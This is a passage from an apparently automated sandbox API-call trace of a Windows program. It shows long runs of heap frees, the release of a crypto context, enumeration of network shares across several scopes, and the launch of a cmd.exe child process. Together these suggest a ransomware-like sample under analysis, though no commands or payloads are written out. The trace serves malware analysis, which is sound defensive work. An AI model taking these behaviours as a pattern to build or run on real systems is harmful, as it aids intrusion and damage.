GetProcessHeap () returned 0x2c0000 [0105.748] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2de3a8 | out: hHeap=0x2c0000) returned 1 [0105.748] GetProcessHeap () returned 0x2c0000 [0105.748] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2de398 | out: hHeap=0x2c0000) returned 1 [0105.748] GetProcessHeap () returned 0x2c0000 [0105.748] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2de3c8 | out: hHeap=0x2c0000) returned 1 [0105.748] GetProcessHeap () returned 0x2c0000 [0105.748] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2de3b8 | out: hHeap=0x2c0000) returned 1 [0105.748] GetProcessHeap () returned 0x2c0000 [0105.748] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2de3e8 | out: hHeap=0x2c0000) returned 1 [0105.748] GetProcessHeap () returned 0x2c0000 [0105.748] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2de3d8 | out: hHeap=0x2c0000) returned 1 [0105.748] GetProcessHeap () returned 0x2c0000 [0105.748] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2de408 | out: hHeap=0x2c0000) returned 1 [0105.748] GetProcessHeap () returned 0x2c0000 [0105.748] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2de3f8 | out: hHeap=0x2c0000) returned 1 [0105.748] GetProcessHeap () returned 0x2c0000 [0105.748] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2de428 | out: hHeap=0x2c0000) returned 1 [0105.748] GetProcessHeap () returned 0x2c0000 [0105.748] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2de418 | out: hHeap=0x2c0000) returned 1 [0105.748] GetProcessHeap () returned 0x2c0000 [0105.748] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2de448 | out: hHeap=0x2c0000) returned 1 [0105.748] GetProcessHeap () returned 0x2c0000 [0105.748] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2de438 | out: hHeap=0x2c0000) returned 1 [0105.749] GetProcessHeap () returned 0x2c0000 [0105.749] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2de468 | out: hHeap=0x2c0000) returned 1 [0105.749] GetProcessHeap () returned 0x2c0000 [0105.749] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2de458 | out: hHeap=0x2c0000) returned 1 [0105.749] GetProcessHeap () returned 0x2c0000 [0105.749] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2de488 | out: hHeap=0x2c0000) returned 1 [0105.749] GetProcessHeap () returned 0x2c0000 [0105.749] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2de478 | out: hHeap=0x2c0000) returned 1 [0105.749] GetProcessHeap () returned 0x2c0000 [0105.749] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2de4a8 | out: hHeap=0x2c0000) returned 1 [0105.749] GetProcessHeap () returned 0x2c0000 [0105.749] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2de498 | out: hHeap=0x2c0000) returned 1 [0105.749] GetProcessHeap () returned 0x2c0000 [0105.749] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2ddb18 | out: hHeap=0x2c0000) returned 1 [0105.749] GetProcessHeap () returned 0x2c0000 [0105.749] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2de4b8 | out: hHeap=0x2c0000) returned 1 [0105.749] GetProcessHeap () returned 0x2c0000 [0105.749] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2de4d8 | out: hHeap=0x2c0000) returned 1 [0105.749] GetProcessHeap () returned 0x2c0000 [0105.749] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2de4c8 | out: hHeap=0x2c0000) returned 1 [0105.749] GetProcessHeap () returned 0x2c0000 [0105.749] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2de4f8 | out: hHeap=0x2c0000) returned 1 [0105.749] GetProcessHeap () returned 0x2c0000 [0105.749] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2de4e8 | out: hHeap=0x2c0000) returned 1 [0105.749] GetProcessHeap () returned 0x2c0000 [0105.749] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2de518 | out: hHeap=0x2c0000) returned 1 [0105.749] GetProcessHeap () returned 0x2c0000 [0105.749] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2de508 | out: hHeap=0x2c0000) returned 1 [0105.749] GetProcessHeap () returned 0x2c0000 [0105.749] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2ddb30 | out: hHeap=0x2c0000) returned 1 [0105.749] GetProcessHeap () returned 0x2c0000 [0105.749] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2de528 | out: hHeap=0x2c0000) returned 1 [0105.750] GetProcessHeap () returned 0x2c0000 [0105.750] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2de548 | out: hHeap=0x2c0000) returned 1 [0105.750] GetProcessHeap () returned 0x2c0000 [0105.750] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2de538 | out: hHeap=0x2c0000) returned 1 [0105.750] GetProcessHeap () returned 0x2c0000 [0105.750] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2de568 | out: hHeap=0x2c0000) returned 1 [0105.750] GetProcessHeap () returned 0x2c0000 [0105.750] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2de558 | out: hHeap=0x2c0000) returned 1 [0105.750] GetProcessHeap () returned 0x2c0000 [0105.750] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2de7a0 | out: hHeap=0x2c0000) returned 1 [0105.750] GetProcessHeap () returned 0x2c0000 [0105.750] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2de578 | out: hHeap=0x2c0000) returned 1 [0105.750] GetProcessHeap () returned 0x2c0000 [0105.750] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2de7c0 | out: hHeap=0x2c0000) returned 1 [0105.750] GetProcessHeap () returned 0x2c0000 [0105.750] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2de7b0 | out: hHeap=0x2c0000) returned 1 [0105.750] GetProcessHeap () returned 0x2c0000 [0105.750] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2de7e0 | out: hHeap=0x2c0000) returned 1 [0105.750] GetProcessHeap () returned 0x2c0000 [0105.750] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2de7d0 | out: hHeap=0x2c0000) returned 1 [0105.750] GetProcessHeap () returned 0x2c0000 [0105.750] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2de800 | out: hHeap=0x2c0000) returned 1 [0105.750] GetProcessHeap () returned 0x2c0000 [0105.750] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2de7f0 | out: hHeap=0x2c0000) returned 1 [0105.750] GetProcessHeap () returned 0x2c0000 [0105.750] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2de820 | out: hHeap=0x2c0000) returned 1 [0105.750] GetProcessHeap () returned 0x2c0000 [0105.750] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2de810 | out: hHeap=0x2c0000) returned 1 [0105.750] GetProcessHeap () returned 0x2c0000 [0105.750] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2ddb48 | out: hHeap=0x2c0000) returned 1 [0105.750] GetProcessHeap () returned 0x2c0000 [0105.750] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2de830 | out: hHeap=0x2c0000) returned 1 [0105.750] GetProcessHeap () returned 0x2c0000 [0105.750] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2de850 | out: hHeap=0x2c0000) returned 1 [0105.751] GetProcessHeap () returned 0x2c0000 [0105.751] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2de840 | out: hHeap=0x2c0000) returned 1 [0105.751] GetProcessHeap () returned 0x2c0000 [0105.751] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2de0f8 | out: hHeap=0x2c0000) returned 1 [0105.751] GetProcessHeap () returned 0x2c0000 [0105.751] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2de860 | out: hHeap=0x2c0000) returned 1 [0105.751] GetProcessHeap () returned 0x2c0000 [0105.751] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2ddb60 | out: hHeap=0x2c0000) returned 1 [0105.751] GetProcessHeap () returned 0x2c0000 [0105.751] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2de870 | out: hHeap=0x2c0000) returned 1 [0105.751] GetProcessHeap () returned 0x2c0000 [0105.751] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2ddb78 | out: hHeap=0x2c0000) returned 1 [0105.751] GetProcessHeap () returned 0x2c0000 [0105.751] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2de880 | out: hHeap=0x2c0000) returned 1 [0105.751] GetProcessHeap () returned 0x2c0000 [0105.751] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2de8a0 | out: hHeap=0x2c0000) returned 1 [0105.751] GetProcessHeap () returned 0x2c0000 [0105.751] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2de890 | out: hHeap=0x2c0000) returned 1 [0105.751] GetProcessHeap () returned 0x2c0000 [0105.751] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2ddb90 | out: hHeap=0x2c0000) returned 1 [0105.751] GetProcessHeap () returned 0x2c0000 [0105.751] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2de8b0 | out: hHeap=0x2c0000) returned 1 [0105.751] GetProcessHeap () returned 0x2c0000 [0105.751] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2ddba8 | out: hHeap=0x2c0000) returned 1 [0105.751] GetProcessHeap () returned 0x2c0000 [0105.751] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2de8c0 | out: hHeap=0x2c0000) returned 1 [0105.751] GetProcessHeap () returned 0x2c0000 [0105.751] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2de228 | out: hHeap=0x2c0000) returned 1 [0105.751] GetProcessHeap () returned 0x2c0000 [0105.751] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2ddbc0 | out: hHeap=0x2c0000) returned 1 [0105.751] GetProcessHeap () returned 0x2c0000 [0105.751] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2de8e0 | out: hHeap=0x2c0000) returned 1 [0105.752] GetProcessHeap () returned 0x2c0000 [0105.752] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2ddbd8 | out: hHeap=0x2c0000) returned 1 [0105.752] GetProcessHeap () returned 0x2c0000 [0105.752] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2de8f0 | out: hHeap=0x2c0000) returned 1 [0105.752] GetProcessHeap () returned 0x2c0000 [0105.752] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2deba0 | out: hHeap=0x2c0000) returned 1 [0105.752] GetProcessHeap () returned 0x2c0000 [0105.752] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2de900 | out: hHeap=0x2c0000) returned 1 [0105.752] GetProcessHeap () returned 0x2c0000 [0105.752] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2debc0 | out: hHeap=0x2c0000) returned 1 [0105.752] GetProcessHeap () returned 0x2c0000 [0105.752] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2de910 | out: hHeap=0x2c0000) returned 1 [0105.752] GetProcessHeap () returned 0x2c0000 [0105.752] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2dc808 | out: hHeap=0x2c0000) returned 1 [0105.752] GetProcessHeap () returned 0x2c0000 [0105.753] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2de920 | out: hHeap=0x2c0000) returned 1 [0105.753] GetProcessHeap () returned 0x2c0000 [0105.753] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2de118 | out: hHeap=0x2c0000) returned 1 [0105.753] GetProcessHeap () returned 0x2c0000 [0105.753] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2de930 | out: hHeap=0x2c0000) returned 1 [0105.753] GetProcessHeap () returned 0x2c0000 [0105.753] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2de950 | out: hHeap=0x2c0000) returned 1 [0105.753] GetProcessHeap () returned 0x2c0000 [0105.753] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2de940 | out: hHeap=0x2c0000) returned 1 [0105.753] GetProcessHeap () returned 0x2c0000 [0105.753] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2dc858 | out: hHeap=0x2c0000) returned 1 [0105.753] GetProcessHeap () returned 0x2c0000 [0105.753] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2de960 | out: hHeap=0x2c0000) returned 1 [0105.753] GetProcessHeap () returned 0x2c0000 [0105.753] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2de980 | out: hHeap=0x2c0000) returned 1 [0105.753] GetProcessHeap () returned 0x2c0000 [0105.753] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2de970 | out: hHeap=0x2c0000) returned 1 [0105.753] GetProcessHeap () returned 0x2c0000 [0105.753] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2de9a0 | out: hHeap=0x2c0000) returned 1 [0105.753] GetProcessHeap () returned 0x2c0000 [0105.753] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2de990 | out: hHeap=0x2c0000) returned 1 [0105.753] GetProcessHeap () returned 0x2c0000 [0105.753] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2de8d0 | out: hHeap=0x2c0000) returned 1 [0105.753] GetProcessHeap () returned 0x2c0000 [0105.753] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2de148 | out: hHeap=0x2c0000) returned 1 [0105.753] GetProcessHeap () returned 0x2c0000 [0105.753] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2de9c0 | out: hHeap=0x2c0000) returned 1 [0105.753] GetProcessHeap () returned 0x2c0000 [0105.753] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2dd270 | out: hHeap=0x2c0000) returned 1 [0105.753] CryptReleaseContext (hProv=0x2dc228, dwFlags=0x0) returned 1 [0105.754] GetProcessHeap () returned 0x2c0000 [0105.754] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2d8aa8 | out: hHeap=0x2c0000) returned 1 [0105.754] GetProcessHeap () returned 0x2c0000 [0105.754] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2d7ba0 | out: hHeap=0x2c0000) returned 1 [0105.754] ExitProcess (uExitCode=0x0) [0105.976] TerminateProcess (hProcess=0xffffffff, uExitCode=0x0) Thread: id = 16 os_tid = 0x814 [0068.428] GetProcessHeap () returned 0x2c0000 [0068.428] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x4000) returned 0x2e07a0 [0068.428] WNetOpenEnumW (in: dwScope=0x1, dwType=0x0, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x22aff4c | out: lphEnum=0x22aff4c*=0x2e5bf8) returned 0x0 [0070.980] WNetEnumResourceW (in: hEnum=0x2e5bf8, lpcCount=0x22aff48, lpBuffer=0x2e07a0, lpBufferSize=0x22aff50 | out: lpcCount=0x22aff48, lpBuffer=0x2e07a0, lpBufferSize=0x22aff50) returned 0x103 [0070.981] WNetCloseEnum (hEnum=0x2e5bf8) returned 0x0 [0070.981] GetProcessHeap () returned 0x2c0000 [0070.981] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2e07a0 | out: hHeap=0x2c0000) returned 1 [0070.981] GetProcessHeap () returned 0x2c0000 [0070.981] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x4000) returned 0x2e07a0 [0070.981] WNetOpenEnumW (in: dwScope=0x4, dwType=0x0, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x22aff4c | out: lphEnum=0x22aff4c*=0x2dee40) returned 0x0 [0070.981] WNetEnumResourceW (in: hEnum=0x2dee40, lpcCount=0x22aff48, lpBuffer=0x2e07a0, lpBufferSize=0x22aff50 | out: lpcCount=0x22aff48, lpBuffer=0x2e07a0, lpBufferSize=0x22aff50) returned 0x103 [0070.982] WNetCloseEnum (hEnum=0x2dee40) returned 0x0 [0070.982] GetProcessHeap () returned 0x2c0000 [0070.982] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2e07a0 | out: hHeap=0x2c0000) returned 1 [0070.982] GetProcessHeap () returned 0x2c0000 [0070.982] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x4000) returned 0x2e07a0 [0070.982] WNetOpenEnumW (in: dwScope=0x5, dwType=0x0, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x22aff4c | out: lphEnum=0x22aff4c*=0x2e5bf8) returned 0x0 [0089.929] WNetEnumResourceW (in: hEnum=0x2e5bf8, lpcCount=0x22aff48, lpBuffer=0x2e07a0, lpBufferSize=0x22aff50 | out: lpcCount=0x22aff48, lpBuffer=0x2e07a0, lpBufferSize=0x22aff50) returned 0x0 [0089.930] WNetEnumResourceW (in: hEnum=0x2e5bf8, lpcCount=0x22aff48, lpBuffer=0x2e07a0, lpBufferSize=0x22aff50 | out: lpcCount=0x22aff48, lpBuffer=0x2e07a0, lpBufferSize=0x22aff50) returned 0x103 [0089.930] WNetCloseEnum (hEnum=0x2e5bf8) returned 0x0 [0089.930] GetProcessHeap () returned 0x2c0000 [0089.930] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2e07a0 | out: hHeap=0x2c0000) returned 1 [0089.930] GetProcessHeap () returned 0x2c0000 [0089.930] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x4000) returned 0x2e07a0 [0089.930] WNetOpenEnumW (in: dwScope=0x3, dwType=0x0, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x22aff4c | out: lphEnum=0x22aff4c*=0x2dee60) returned 0x0 [0090.617] WNetEnumResourceW (in: hEnum=0x2dee60, lpcCount=0x22aff48, lpBuffer=0x2e07a0, lpBufferSize=0x22aff50 | out: lpcCount=0x22aff48, lpBuffer=0x2e07a0, lpBufferSize=0x22aff50) returned 0x103 [0090.617] WNetCloseEnum (hEnum=0x2dee60) returned 0x0 [0090.617] GetProcessHeap () returned 0x2c0000 [0090.617] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2e07a0 | out: hHeap=0x2c0000) returned 1 [0090.618] GetProcessHeap () returned 0x2c0000 [0090.618] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x4000) returned 0x2e07a0 [0090.618] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x22aff4c | out: lphEnum=0x22aff4c*=0x2ed388) returned 0x0 [0090.618] WNetEnumResourceW (in: hEnum=0x2ed388, lpcCount=0x22aff48, lpBuffer=0x2e07a0, lpBufferSize=0x22aff50 | out: lpcCount=0x22aff48, lpBuffer=0x2e07a0, lpBufferSize=0x22aff50) returned 0x0 [0090.618] GetProcessHeap () returned 0x2c0000 [0090.618] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x4000) returned 0x2eebd0 [0090.618] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x2e07a0, lphEnum=0x22aff14 | out: lphEnum=0x22aff14*=0x2dee60) returned 0x0 [0090.620] WNetEnumResourceW (in: hEnum=0x2dee60, lpcCount=0x22aff10, lpBuffer=0x2eebd0, lpBufferSize=0x22aff18 | out: lpcCount=0x22aff10, lpBuffer=0x2eebd0, lpBufferSize=0x22aff18) returned 0x103 [0090.621] WNetCloseEnum (hEnum=0x2dee60) returned 0x0 [0090.621] GetProcessHeap () returned 0x2c0000 [0090.621] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2eebd0 | out: hHeap=0x2c0000) returned 1 [0090.621] GetProcessHeap () returned 0x2c0000 [0090.621] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x4000) returned 0x2eebd0 [0090.621] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x2e07c0, lphEnum=0x22aff14 | out: lphEnum=0x22aff14*=0x0) returned 0x4b8 [0105.080] GetProcessHeap () returned 0x2c0000 [0105.080] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2eebd0 | out: hHeap=0x2c0000) returned 1 [0105.094] GetProcessHeap () returned 0x2c0000 [0105.094] RtlAllocateHeap (HeapHandle=0x2c0000, Flags=0x0, Size=0x4000) returned 0x2eebd0 [0105.095] WNetOpenEnumW (in: dwScope=0x2, dwType=0x0, dwUsage=0x0, lpNetResource=0x2e07e0, lphEnum=0x22aff14 | out: lphEnum=0x22aff14*=0x0) returned 0x4c6 [0105.096] GetProcessHeap () returned 0x2c0000 [0105.096] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2eebd0 | out: hHeap=0x2c0000) returned 1 [0105.096] WNetEnumResourceW (in: hEnum=0x2ed388, lpcCount=0x22aff48, lpBuffer=0x2e07a0, lpBufferSize=0x22aff50 | out: lpcCount=0x22aff48, lpBuffer=0x2e07a0, lpBufferSize=0x22aff50) returned 0x103 [0105.096] WNetCloseEnum (hEnum=0x2ed388) returned 0x0 [0105.096] GetProcessHeap () returned 0x2c0000 [0105.096] HeapFree (in: hHeap=0x2c0000, dwFlags=0x0, lpMem=0x2e07a0 | out: hHeap=0x2c0000) returned 1 Thread: id = 39 os_tid = 0x54c Thread: id = 43 os_tid = 0xb30 Thread: id = 167 os_tid = 0xb80 Process: id = "3" image_name = "cmd.exe" filename = "c:\\windows\\system32\\cmd.exe" page_root = "0x3f9d7000" os_pid = "0x6a4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0xb64" cmd_line = "\"C:\\Windows\\system32\\cmd.exe\"" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" bitness = "32" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000eb41" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 4 os_tid = 0x730 [0066.202] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x2cf750 | out: lpSystemTimeAsFileTime=0x2cf750*(dwLowDateTime=0x403adf50, dwHighDateTime=0x1d62774)) [0066.202] GetCurrentProcessId () returned 0x6a4 [0066.202] GetCurrentThreadId () returned 0x730 [0066.202] GetTickCount () returned 0x11484ba [0066.202] QueryPerformanceCounter (in: lpPerformanceCount=0x2cf758 | out: lpPerformanceCount=0x2cf758*=18587807288) returned 1 [0066.204] GetModuleHandleW (lpModuleName=0x0) returned 0x4a040000 [0066.204] __set_app_type (_Type=0x1) [0066.204] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x4a067810) returned 0x0 [0066.204] __getmainargs (in: _Argc=0x4a08a608, _Argv=0x4a08a618, _Env=0x4a08a610, _DoWildCard=0, _StartInfo=0x4a06e0f4 | out: _Argc=0x4a08a608, _Argv=0x4a08a618, _Env=0x4a08a610) returned 0 [0066.205] GetCurrentThreadId () returned 0x730 [0066.205] OpenThread (dwDesiredAccess=0x1fffff, bInheritHandle=0, dwThreadId=0x730) returned 0x3c [0066.327] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x77940000 [0066.327] GetProcAddress (hModule=0x77940000, lpProcName="SetThreadUILanguage") returned 0x77956d40 [0066.327] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0066.327] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0066.328] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Policies\\Microsoft\\Windows\\System", ulOptions=0x0, samDesired=0x20019, phkResult=0x2cf6e8 | out: phkResult=0x2cf6e8*=0x0) returned 0x2 [0066.328] VirtualQuery (in: lpAddress=0x2cf6d0, lpBuffer=0x2cf650, dwLength=0x30 | out: lpBuffer=0x2cf650*(BaseAddress=0x2cf000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0066.328] VirtualQuery (in: lpAddress=0x1d0000, lpBuffer=0x2cf650, dwLength=0x30 | out: lpBuffer=0x2cf650*(BaseAddress=0x1d0000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x2000, Protect=0x0, Type=0x20000, __alignment2=0x0)) returned 0x30 [0066.328] VirtualQuery (in: lpAddress=0x1d1000, lpBuffer=0x2cf650, dwLength=0x30 | out: lpBuffer=0x2cf650*(BaseAddress=0x1d1000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0066.328] VirtualQuery (in: lpAddress=0x1d4000, lpBuffer=0x2cf650, dwLength=0x30 | out: lpBuffer=0x2cf650*(BaseAddress=0x1d4000, AllocationBase=0x1d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0066.328] VirtualQuery (in: lpAddress=0x2d0000, lpBuffer=0x2cf650, dwLength=0x30 | out: lpBuffer=0x2cf650*(BaseAddress=0x2d0000, AllocationBase=0x2d0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x2000, State=0x1000, Protect=0x4, Type=0x40000, __alignment2=0x0)) returned 0x30 [0066.328] GetConsoleOutputCP () returned 0x1b5 [0066.328] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a07bfe0 | out: lpCPInfo=0x4a07bfe0) returned 1 [0066.329] SetConsoleCtrlHandler (HandlerRoutine=0x4a063184, Add=1) returned 1 [0066.329] _get_osfhandle (_FileHandle=1) returned 0x120 [0066.329] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0066.329] _get_osfhandle (_FileHandle=1) returned 0x120 [0066.329] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x4a06e194 | out: lpMode=0x4a06e194) returned 0 [0066.329] _get_osfhandle (_FileHandle=0) returned 0xb8 [0066.329] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a06e198 | out: lpMode=0x4a06e198) returned 0 [0066.329] GetEnvironmentStringsW () returned 0x4b8a60* [0066.330] GetProcessHeap () returned 0x4a0000 [0066.330] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xa7c) returned 0x4b94f0 [0066.330] FreeEnvironmentStringsW (penv=0x4b8a60) returned 1 [0066.330] GetProcessHeap () returned 0x4a0000 [0066.330] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x8) returned 0x4b88e0 [0066.330] GetEnvironmentStringsW () returned 0x4b8a60* [0066.330] GetProcessHeap () returned 0x4a0000 [0066.330] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xa7c) returned 0x4b9f80 [0066.330] FreeEnvironmentStringsW (penv=0x4b8a60) returned 1 [0066.330] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x2ce5a8 | out: phkResult=0x2ce5a8*=0x44) returned 0x0 [0066.330] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x2ce5a0, lpData=0x2ce5c0, lpcbData=0x2ce5a4*=0x1000 | out: lpType=0x2ce5a0*=0x0, lpData=0x2ce5c0*=0x18, lpcbData=0x2ce5a4*=0x1000) returned 0x2 [0066.330] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x2ce5a0, lpData=0x2ce5c0, lpcbData=0x2ce5a4*=0x1000 | out: 